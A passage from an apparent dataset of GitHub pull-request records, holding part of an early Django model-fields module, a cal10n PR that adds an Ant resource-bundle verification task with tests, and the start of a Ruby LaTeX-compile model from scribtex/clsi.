**kwargs):\n        self.path, self.match, self.recursive = path, match, recursive\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [curry(formfields.FilePathField, path=self.path, match=self.match, recursive=self.recursive)]\n\nclass FloatField(Field):\n    empty_strings_allowed = False\n    def __init__(self, verbose_name=None, name=None, max_digits=None, decimal_places=None, **kwargs):\n        self.max_digits, self.decimal_places = max_digits, decimal_places\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [curry(formfields.FloatField, max_digits=self.max_digits, decimal_places=self.decimal_places)]\n\nclass ImageField(FileField):\n    def __init__(self, verbose_name=None, name=None, width_field=None, height_field=None, **kwargs):\n        self.width_field, self.height_field = width_field, height_field\n        FileField.__init__(self, verbose_name, name, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.ImageUploadField, formfields.HiddenField]\n\n    def save_file(self, new_data, new_object, original_object, change, rel):\n        FileField.save_file(self, new_data, new_object, original_object, change, rel)\n        # If the image has height and/or width field(s) and they haven't\n        # changed, set the width and/or height field(s) back to their original\n        # values.\n        if change and (self.width_field or self.height_field):\n            if self.width_field:\n                setattr(new_object, self.width_field, getattr(original_object, self.width_field))\n            if self.height_field:\n                setattr(new_object, self.height_field, getattr(original_object, self.height_field))\n            new_object.save()\n\nclass IntegerField(Field):\n    empty_strings_allowed = False\n    def get_manipulator_field_objs(self):\n        return [formfields.IntegerField]\n\nclass IPAddressField(Field):\n    def __init__(self, *args, **kwargs):\n        kwargs['maxlength'] = 15\n        Field.__init__(self, *args, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.IPAddressField]\n\nclass NullBooleanField(Field):\n    def __init__(self, *args, **kwargs):\n        kwargs['null'] = True\n        Field.__init__(self, *args, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.NullBooleanField]\n\nclass PhoneNumberField(IntegerField):\n    def get_manipulator_field_objs(self):\n        return [formfields.PhoneNumberField]\n\nclass PositiveIntegerField(IntegerField):\n    def get_manipulator_field_objs(self):\n        return [formfields.PositiveIntegerField]\n\nclass PositiveSmallIntegerField(IntegerField):\n    def get_manipulator_field_objs(self):\n        return [formfields.PositiveSmallIntegerField]\n\nclass SlugField(Field):\n    def __init__(self, *args, **kwargs):\n        kwargs['maxlength'] = 50\n        kwargs.setdefault('validator_list', []).append(validators.isSlug)\n        # Set db_index=True unless it's been set manually.\n        if not kwargs.has_key('db_index'):\n            kwargs['db_index'] = True\n        Field.__init__(self, *args, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.TextField]\n\nclass SmallIntegerField(IntegerField):\n    def get_manipulator_field_objs(self):\n        return [formfields.SmallIntegerField]\n\nclass TextField(Field):\n    def get_manipulator_field_objs(self):\n        return [formfields.LargeTextField]\n\nclass TimeField(Field):\n    empty_strings_allowed = False\n    def __init__(self, verbose_name=None, name=None, auto_now=False, auto_now_add=False, **kwargs):\n        self.auto_now, self.auto_now_add  = auto_now, auto_now_add\n        if auto_now or auto_now_add:\n            kwargs['editable'] = False\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_db_prep_lookup(self, lookup_type, value):\n        if lookup_type == 'range':\n            value = [str(v) for v in value]\n        else:\n            value = str(value)\n        return Field.get_db_prep_lookup(self, lookup_type, value)\n\n    def pre_save(self, value, add):\n        if self.auto_now or (self.auto_now_add and add):\n            return datetime.datetime.now().time()\n        return value\n\n    def get_db_prep_save(self, value):\n        # Casts dates into string format for entry into database.\n        if value is not None:\n            # MySQL will throw a warning if microseconds are given, because it\n            # doesn't support microseconds.\n            if settings.DATABASE_ENGINE == 'mysql':\n                value = value.replace(microsecond=0)\n            value = str(value)\n        return Field.get_db_prep_save(self, value)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.TimeField]\n\nclass URLField(Field):\n    def __init__(self, verbose_name=None, name=None, verify_exists=True, **kwargs):\n        if verify_exists:\n            kwargs.setdefault('validator_list', []).append(validators.isExistingURL)\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.URLField]\n\nclass USStateField(Field):\n    def get_manipulator_field_objs(self):\n        return [formfields.USStateField]\n\nclass XMLField(TextField):\n    def __init__(self, verbose_name=None, name=None, schema_path=None, **kwargs):\n        self.schema_path = schema_path\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_internal_type(self):\n        return \"TextField\"\n\n    def get_manipulator_field_objs(self):\n        return [curry(formfields.XMLLargeTextField, schema_path=self.schema_path)]\n\nclass ForeignKey(Field):\n    empty_strings_allowed = False\n    def __init__(self, to, to_field=None, **kwargs):\n        try:\n            to_name = to._meta.object_name.lower()\n        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT\n            assert to == 'self', \"ForeignKey(%r) is invalid. First parameter to ForeignKey must be either a model or the string %r\" % (to, RECURSIVE_RELATIONSHIP_CONSTANT)\n            kwargs['verbose_name'] = kwargs.get('verbose_name', '')\n        else:\n            to_field = to_field or to._meta.pk.name\n            kwargs['verbose_name'] = kwargs.get('verbose_name', to._meta.verbose_name)\n\n        if kwargs.has_key('edit_inline_type'):\n            import warnings\n            warnings.warn(\"edit_inline_type is deprecated. Use edit_inline instead.\")\n            kwargs['edit_inline'] = kwargs.pop('edit_inline_type')\n\n        kwargs['rel'] = ManyToOne(to, to_field,\n            num_in_admin=kwargs.pop('num_in_admin', 3),\n            min_num_in_admin=kwargs.pop('min_num_in_admin', None),\n            max_num_in_admin=kwargs.pop('max_num_in_admin', None),\n            num_extra_on_change=kwargs.pop('num_extra_on_change', 1),\n            edit_inline=kwargs.pop('edit_inline', False),\n            related_name=kwargs.pop('related_name', None),\n            limit_choices_to=kwargs.pop('limit_choices_to', None),\n            lookup_overrides=kwargs.pop('lookup_overrides', None),\n            raw_id_admin=kwargs.pop('raw_id_admin', False))\n        Field.__init__(self, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        rel_field = self.rel.get_related_field()\n        if self.rel.raw_id_admin and not isinstance(rel_field, AutoField):\n            return rel_field.get_manipulator_field_objs()\n        else:\n            return [formfields.IntegerField]\n\nclass ManyToManyField(Field):\n    def __init__(self, to, **kwargs):\n        kwargs['verbose_name'] = kwargs.get('verbose_name', to._meta.verbose_name_plural)\n        kwargs['rel'] = ManyToMany(to, kwargs.pop('singular', None),\n            num_in_admin=kwargs.pop('num_in_admin', 0),\n            related_name=kwargs.pop('related_name', None),\n            filter_interface=kwargs.pop('filter_interface', None),\n            limit_choices_to=kwargs.pop('limit_choices_to', None),\n            raw_id_admin=kwargs.pop('raw_id_admin', False))\n        if kwargs[\"rel\"].raw_id_admin:\n            kwargs.setdefault(\"validator_list\", []).append(self.isValidIDList)\n        Field.__init__(self, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        if self.rel.raw_id_admin:\n            return [formfields.CommaSeparatedIntegerField]\n        else:\n            choices = self.get_choices(include_blank=False)\n            return [curry(formfields.SelectMultipleField, size=min(max(len(choices), 5), 15), choices=choices)]\n\n    def get_m2m_db_table(self, original_opts):\n        \"Returns the name of the many-to-many 'join' table.\"\n        return '%s_%s' % (original_opts.db_table, self.name)\n\n    def isValidIDList(self, field_data, all_data):\n        \"Validates that the value is a valid list of foreign keys\"\n        mod = self.rel.to.get_model_module()\n        try:\n            pks = map(int, field_data.split(','))\n        except ValueError:\n            # the CommaSeparatedIntegerField validator will catch this error\n            return\n        objects = mod.get_in_bulk(pks)\n        if len(objects) != len(pks):\n            badkeys = [k for k in pks if k not in objects]\n            raise validators.ValidationError, \"Please enter valid %s IDs. The value%s %r %s invalid.\" % \\\n                (self.verbose_name, len(badkeys) > 1 and 's' or '',\n                len(badkeys) == 1 and badkeys[0] or tuple(badkeys),\n                len(badkeys) == 1 and \"is\" or \"are\")\n\nclass OneToOneField(IntegerField):\n    def __init__(self, to, to_field=None, **kwargs):\n        kwargs['verbose_name'] = kwargs.get('verbose_name', 'ID')\n        to_field = to_field or to._meta.pk.name\n\n        if kwargs.has_key('edit_inline_type'):\n            import warnings\n            warnings.warn(\"edit_inline_type is deprecated. Use edit_inline instead.\")\n            kwargs['edit_inline'] = kwargs.pop('edit_inline_type')\n\n        kwargs['rel'] = OneToOne(to, to_field,\n            num_in_admin=kwargs.pop('num_in_admin', 0),\n            edit_inline=kwargs.pop('edit_inline', False),\n            related_name=kwargs.pop('related_name', None),\n            limit_choices_to=kwargs.pop('limit_choices_to', None),\n            lookup_overrides=kwargs.pop('lookup_overrides', None),\n            raw_id_admin=kwargs.pop('raw_id_admin', False))\n        kwargs['primary_key'] = True\n        IntegerField.__init__(self, **kwargs)\n\nclass ManyToOne:\n    def __init__(self, to, field_name, num_in_admin=3, min_num_in_admin=None,\n        max_num_in_admin=None, num_extra_on_change=1, edit_inline=False,\n        related_name=None, limit_choices_to=None, lookup_overrides=None, raw_id_admin=False):\n        try:\n            self.to = to._meta\n        except AttributeError: # to._meta doesn't exist, so it must be RECURSIVE_RELATIONSHIP_CONSTANT\n            assert to == RECURSIVE_RELATIONSHIP_CONSTANT, \"'to' must be either a model or the string '%s'\" % RECURSIVE_RELATIONSHIP_CONSTANT\n            self.to = to\n        self.field_name = field_name\n        self.num_in_admin, self.edit_inline = num_in_admin, edit_inline\n        self.min_num_in_admin, self.max_num_in_admin = min_num_in_admin, max_num_in_admin\n        self.num_extra_on_change, self.related_name = num_extra_on_change, related_name\n        self.limit_choices_to = limit_choices_to or {}\n        self.lookup_overrides = lookup_overrides or {}\n        self.raw_id_admin = raw_id_admin\n\n    def get_related_field(self):\n        \"Returns the Field in the 'to' object to which this relationship is tied.\"\n        return self.to.get_field(self.field_name)\n\nclass ManyToMany:\n    def __init__(self, to, singular=None, num_in_admin=0, related_name=None,\n        filter_interface=None, limit_choices_to=None, raw_id_admin=False):\n        self.to = to._meta\n        self.singular = singular or to._meta.object_name.lower()\n        self.num_in_admin = num_in_admin\n        self.related_name = related_name\n        self.filter_interface = filter_interface\n        self.limit_choices_to = limit_choices_to or {}\n        self.edit_inline = False\n        self.raw_id_admin = raw_id_admin\n        assert not (self.raw_id_admin and self.filter_interface), \"ManyToMany relationships may not use both raw_id_admin and filter_interface\"\n\nclass OneToOne(ManyToOne):\n    def __init__(self, to, field_name, num_in_admin=0, edit_inline=False,\n        related_name=None, limit_choices_to=None, lookup_overrides=None,\n        raw_id_admin=False):\n        self.to, self.field_name = to._meta, field_name\n        self.num_in_admin, self.edit_inline = num_in_admin, edit_inline\n        self.related_name = related_name\n        self.limit_choices_to = limit_choices_to or {}\n        self.lookup_overrides = lookup_overrides or {}\n        self.raw_id_admin = raw_id_admin\n\nclass Admin:\n    def __init__(self, fields=None, js=None, list_display=None, list_filter=None, date_hierarchy=None,\n        save_as=False, ordering=None, search_fields=None, save_on_top=False, list_select_related=False):\n        self.fields = fields\n        self.js = js or []\n        self.list_display = list_display or ['__repr__']\n        self.list_filter = list_filter or []\n        self.date_hierarchy = date_hierarchy\n        self.save_as, self.ordering = save_as, ordering\n        self.search_fields = search_fields or []\n        self.save_on_top = save_on_top\n        self.list_select_related = list_select_related\n\n    def get_field_objs(self, opts):\n        \"\"\"\n        Returns self.fields, except with fields as Field objects instead of\n        field names. If self.fields is None, defaults to putting every\n        non-AutoField field with editable=True in a single fieldset.\n        \"\"\"\n        if self.fields is None:\n            field_struct = ((None, {'fields': [f.name for f in opts.fields + opts.many_to_many if f.editable and not isinstance(f, AutoField)]}),)\n        else:\n            field_struct = self.fields\n        new_fieldset_list = []\n        for fieldset in field_struct:\n            new_fieldset = [fieldset[0], {}]\n            new_fieldset[1].update(fieldset[1])\n            admin_fields = []\n            for field_name_or_list in fieldset[1]['fields']:\n                if isinstance(field_name_or_list, basestring):\n                    admin_fields.append([opts.get_field(field_name_or_list)])\n                else:\n                    admin_fields.append([opts.get_field(field_name) for field_name in field_name_or_list])\n            new_fieldset[1]['fields'] = admin_fields\n            new_fieldset_list.append(new_fieldset)\n        return new_fieldset_list\n"}}
{"repo": "qos-ch/cal10n", "pr_number": 6, "title": "Verify Ant Task...Take Two", "state": "closed", "merged_at": "2013-04-25T22:52:34Z", "additions": 527, "deletions": 0, "files_changed": ["cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/EnumTypesElement.java", "cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/StringElement.java", "cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/VerifyTask.java", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/VerifyTaskTest.java", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/testdata/Colors.java", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/testdata/DaysOfTheWeek.java"], "files_before": {}, "files_after": {"cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/EnumTypesElement.java": "/*\n * Copyright (c) 2009 QOS.ch All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS  IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\npackage ch.qos.cal10n.ant;\n\nimport org.apache.tools.ant.Task;\n\nimport java.util.LinkedList;\nimport java.util.List;\n\npublic class EnumTypesElement extends Task {\n    private List<StringElement> enumTypes;\n\n    public EnumTypesElement() {\n        this.enumTypes = new LinkedList<StringElement>();\n    }\n\n    public void addEnumType(StringElement enumType) {\n        this.enumTypes.add(enumType);\n    }\n\n    public List<StringElement> getEnumTypes() {\n        return this.enumTypes;\n    }\n}\n", "cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/StringElement.java": "/*\n * Copyright (c) 2009 QOS.ch All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS  IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\npackage ch.qos.cal10n.ant;\n\nimport org.apache.tools.ant.Task;\n\npublic class StringElement extends Task {\n    private String str;\n\n    public StringElement() {}\n\n    public StringElement(String str) {\n        this.str = str;\n    }\n\n    public void addText(String str) {\n        this.str = this.getProject().replaceProperties(str);\n    }\n\n    public String getText() {\n        return this.str;\n    }\n\n    @Override\n    public String toString() {\n        return this.str;\n    }\n}\n", "cal10n-ant-task/src/main/java/ch/qos/cal10n/ant/VerifyTask.java": "/*\n * Copyright (c) 2009 QOS.ch All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS  IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\npackage ch.qos.cal10n.ant;\n\nimport ch.qos.cal10n.CAL10NConstants;\nimport ch.qos.cal10n.verifier.IMessageKeyVerifier;\nimport org.apache.tools.ant.BuildException;\nimport org.apache.tools.ant.Task;\nimport org.apache.tools.ant.types.LogLevel;\nimport org.apache.tools.ant.types.Path;\nimport org.apache.tools.ant.types.Reference;\nimport org.apache.tools.ant.util.ClasspathUtils;\n\nimport java.lang.reflect.Constructor;\nimport java.text.MessageFormat;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Locale;\n\npublic class VerifyTask extends Task {\n    private List<StringElement> enumTypes;\n    private Path classpath;\n\n    @Override\n    public void init() throws BuildException {\n        this.enumTypes = new LinkedList<StringElement>();\n    }\n\n    @Override\n    public void execute() throws BuildException {\n      if (this.enumTypes.isEmpty()) {\n        throw new BuildException(CAL10NConstants.MISSING_ENUM_TYPES_MSG);\n      }\n      for (StringElement enumType : this.enumTypes) {\n        IMessageKeyVerifier imcv = getMessageKeyVerifierInstance(enumType.getText());\n        log(\"Checking all resource bundles for enum type [\" + enumType + \"]\", LogLevel.INFO.getLevel());\n        checkAllLocales(imcv);\n      }\n    }\n\n    public void checkAllLocales(IMessageKeyVerifier mcv) {\n        String enumClassAsStr = mcv.getEnumTypeAsStr();\n        String[] localeNameArray = mcv.getLocaleNames();\n\n        if (localeNameArray == null || localeNameArray.length == 0) {\n            String errMsg = MessageFormat.format(CAL10NConstants.MISSING_LOCALE_DATA_ANNOTATION_MESSAGE, enumClassAsStr);\n            log(errMsg, LogLevel.ERR.getLevel());\n            throw new BuildException(errMsg);\n        }\n\n        boolean failure = false;\n        for (String localeName : localeNameArray) {\n            Locale locale = new Locale(localeName);\n            List<String> errorList = mcv.typeIsolatedVerify(locale);\n            if (errorList.size() == 0) {\n                String resourceBundleName = mcv.getBaseName();\n                log(\"SUCCESSFUL verification for resource bundle [\" + resourceBundleName + \"] for locale [\" + locale + \"]\", LogLevel.INFO.getLevel());\n            } else {\n                failure = true;\n                log(\"FAILURE during verification of resource bundle for locale [\"\n                        + locale + \"] enum class [\" + enumClassAsStr + \"]\", LogLevel.ERR.getLevel());\n                for (String error : errorList) {\n                    log(error, LogLevel.ERR.getLevel());\n                }\n            }\n        }\n        if (failure) {\n            throw new BuildException(\"FAIL Verification of [\" + enumClassAsStr + \"] keys.\");\n        }\n    }\n\n    IMessageKeyVerifier getMessageKeyVerifierInstance(String enumClassAsStr) {\n        String errMsg = \"Failed to instantiate MessageKeyVerifier class\";\n        try {\n            ClassLoader classLoader = ClasspathUtils.getClassLoaderForPath(this.getProject(), this.classpath, \"cal10n.VerifyTask\");\n            Class<?> mkvClass = Class.forName(\n                    CAL10NConstants.MessageKeyVerifier_FQCN, true, classLoader);\n            Constructor<?> mkvCons = mkvClass.getConstructor(String.class);\n            return (IMessageKeyVerifier) mkvCons.newInstance(enumClassAsStr);\n        } catch (ClassNotFoundException e) {\n            throw new BuildException(errMsg, e);\n        } catch (NoClassDefFoundError e) {\n            throw new BuildException(errMsg, e);\n        } catch (Exception e) {\n            throw new BuildException(errMsg, e);\n        }\n    }\n\n    public void addClasspath(Path classpath) {\n        this.classpath = classpath;\n    }\n\n    public void addConfiguredEnumTypes(EnumTypesElement enumTypes) {\n        this.enumTypes.addAll(enumTypes.getEnumTypes());\n    }\n\n    public void setClasspath(Path classpath) {\n        this.classpath = classpath;\n    }\n\n    public void setClasspathRef(Reference refId) {\n        Path cp = new Path(this.getProject());\n        cp.setRefid(refId);\n        this.setClasspath(cp);\n    }\n\n    public void setEnumType(String enumType) {\n        this.enumTypes.add(new StringElement(enumType));\n    }\n}\n", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/VerifyTaskTest.java": "/*\n * Copyright (c) 2009 QOS.ch All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS  IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\npackage ch.qos.cal10n.ant;\n\nimport junit.framework.TestSuite;\nimport org.apache.ant.antunit.junit3.AntUnitSuite;\nimport org.apache.ant.antunit.junit4.AntUnitSuiteRunner;\nimport org.junit.runner.RunWith;\n\nimport java.io.File;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.net.URLDecoder;\n\n@RunWith(AntUnitSuiteRunner.class)\npublic class VerifyTaskTest {\n    public static TestSuite suite() throws URISyntaxException {\n        setProperties();\n        URL resource = VerifyTask.class.getResource(\"/ch/qos/cal10n/ant/VerifyTaskTest.xml\");\n        File file = new File(resource.toURI());\n        return new AntUnitSuite(file, VerifyTask.class);\n    }\n\n    /**\n     * Set system properties for use in the AntUnit files.\n     */\n    private static void setProperties() {\n        String name = VerifyTask.class.getName();\n        final String resourceName = \"/\" + name.replace('.', '/') + \".class\";\n        String absoluteFilePath = VerifyTask.class.getResource(resourceName).getFile();\n        try {\n            absoluteFilePath = URLDecoder.decode(absoluteFilePath, \"UTF-8\");\n        } catch (UnsupportedEncodingException e) {\n            throw new RuntimeException(\"Missing UTF-8 encoding in JVM.\", e);\n        }\n        String classesDir = absoluteFilePath.substring(0, absoluteFilePath.length() - resourceName.length());\n        System.setProperty(\"ch.qos.cal10n.ant.VerifyTaskTest.classes.dir\", classesDir);\n    }\n}\n", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/testdata/Colors.java": "/*\n * Copyright (c) 2009 QOS.ch All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS  IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\npackage ch.qos.cal10n.ant.testdata;\n\nimport ch.qos.cal10n.BaseName;\nimport ch.qos.cal10n.Locale;\nimport ch.qos.cal10n.LocaleData;\n\n@BaseName(\"colors\")\n@LocaleData({\n        @Locale(\"en\"),\n        @Locale(\"fr\")\n})\npublic enum Colors {\n    RED,\n    BLUE\n}\n", "cal10n-ant-task/src/test/java/ch/qos/cal10n/ant/testdata/DaysOfTheWeek.java": "package ch.qos.cal10n.ant.testdata;\n\nimport ch.qos.cal10n.BaseName;\nimport ch.qos.cal10n.Locale;\nimport ch.qos.cal10n.LocaleData;\n\n@BaseName(\"daysoftheweek\")\n@LocaleData({\n        @Locale(\"en\"),\n        @Locale(\"fr\")\n})\npublic enum DaysOfTheWeek {\n    MONDAY,\n    TUESDAY,\n    WEDNESDAY,\n    THURSDAY,\n    FRIDAY,\n    SATURDAY,\n    SUNDAY\n}\n"}}
{"repo": "scribtex/clsi", "pr_number": 1, "title": "Update readme and config", "state": "open", "merged_at": null, "additions": 2, "deletions": 2, "files_changed": ["app/models/compile.rb"], "files_before": {"app/models/compile.rb": "class Compile\n  attr_accessor :token, :user,\n                :root_resource_path, :resources, \n                :compiler, :output_format\n  attr_reader   :output_files, :log_files, :unique_id,\n                :status, :error_type, :error_message,\n                :bibtex_ran, :makeindex_ran\n\n  POSSIBLE_COMPILER_OUTPUT_FORMATS = {\n    :pdflatex => ['pdf'],\n    :latex    => ['dvi', 'pdf', 'ps'],\n    :xelatex  => ['pdf']\n  }\n\n  def compiler\n    @compiler ||= 'pdflatex'\n  end\n\n  def output_format\n    @output_format ||= 'pdf'\n  end\n\n  def initialize(attributes = {})\n    self.root_resource_path = attributes[:root_resource_path] || \"main.tex\"\n    self.token = attributes[:token]\n    \n    self.compiler = attributes[:compiler]\n    self.output_format = attributes[:output_format]\n\n    self.resources = []\n    for resource in attributes[:resources].to_a\n      self.resources << Resource.new(\n        resource[:path],\n        resource[:modified_date],\n        resource[:content],\n        resource[:url],\n        self\n      )\n    end\n    \n    @output_files = []\n    @log_files = []\n    @status = :unprocessed\n    @bibtex_ran = false\n    @makeindex_ran = false\n  end\n\n  def compile\n    @start_time = Time.now\n    validate_compile\n    write_resources_to_disk\n    do_compile\n    convert_to_output_format\n    move_compiled_files_to_public_dir\n    @status = :success\n  rescue CLSI::CompileError => e\n    @status = :failure\n    @error_type = e.class.name.demodulize\n    @error_message = e.message\n  ensure\n    move_log_files_to_public_dir\n    write_response_to_public_dir\n    remove_compile_directory unless PRESERVE_COMPILE_DIRECTORIES\n    record_in_compile_log\n  end\n\n  def validate_compile\n    if self.user.blank?\n      self.user = User.find_by_token(self.token)\n      raise CLSI::InvalidToken, 'user does not exist' if self.user.nil?\n    end\n    \n    unless POSSIBLE_COMPILER_OUTPUT_FORMATS.has_key?(self.compiler.to_sym)\n      raise CLSI::UnknownCompiler, \"#{self.compiler} is not a valid compiler\"\n    end\n    \n    unless POSSIBLE_COMPILER_OUTPUT_FORMATS[self.compiler.to_sym].include?(self.output_format)\n      raise CLSI::ImpossibleOutputFormat, \"#{self.compiler} cannot produce #{self.output_format} output\"\n    end\n  end\n  \n  def unique_id\n    @unique_id ||= generate_unique_string\n  end\n  \n  def compile_directory\n    @compile_directory ||= File.join(LATEX_COMPILE_DIR, self.unique_id)\n  end\n  \n  def to_xml\n    xml = Builder::XmlMarkup.new\n    xml.instruct!\n\n    xml.compile do\n      xml.compile_id(self.unique_id)\n      \n      if self.status == :failure\n        xml.status('failure')\n        xml.error do\n          xml.type self.error_type\n          xml.message self.error_message\n        end\n      else\n        xml.status(self.status.to_s)\n      end\n   \n      unless self.output_files.empty?\n        xml.output do\n          for file in self.output_files\n            xml.file(:url => file.url, :type => file.type, :mimetype => file.mimetype)\n          end\n        end\n      end\n  \n      unless self.log_files.empty?\n        xml.logs do\n          for file in self.log_files\n            xml.file(:url => file.url, :type => file.type, :mimetype => file.mimetype)\n          end\n        end\n      end\n    end\n  end\n  \n  def to_json\n    hash = {\n      'compile_id' => self.unique_id,\n      'status'     => self.status.to_s\n    }\n    \n    if self.status == :failure\n      hash['error'] = {\n        'type' => self.error_type,\n        'message' => self.error_message\n      }\n    end\n    \n    unless self.output_files.empty?\n      hash['output_files'] = self.output_files.collect{|of| {\n        'url'      => of.url,\n        'mimetype' => of.mimetype,\n        'type'     => of.type\n      }}\n    end\n    \n    unless self.log_files.empty?\n      hash['logs'] = self.log_files.collect{|lf| {\n        'url'      => lf.url,\n        'mimetype' => lf.mimetype,\n        'type'     => lf.type\n      }}\n    end\n    \n    return ({'compile' => hash}).to_json\n  end\n\nprivate\n\n  def write_resources_to_disk\n    File.umask(0002)\n    \n    for resource in self.resources.to_a\n      resource.write_to_disk\n    end\n  end\n\n  def do_compile\n    run_compiler\n    \n    aux_file_content = read_aux_files\n    if aux_file_content.include? '\\\\citation' or aux_file_content.include? '\\\\bibdata' or aux_file_content.include? '\\\\bibstyle'\n      modify_aux_files\n      run_bibtex\n      run_latex_again = true\n      @bibtex_ran = true\n    end\n    \n    if File.exist?(File.join(compile_directory, 'output.idx'))\n      run_makeindex\n      run_latex_again = true\n      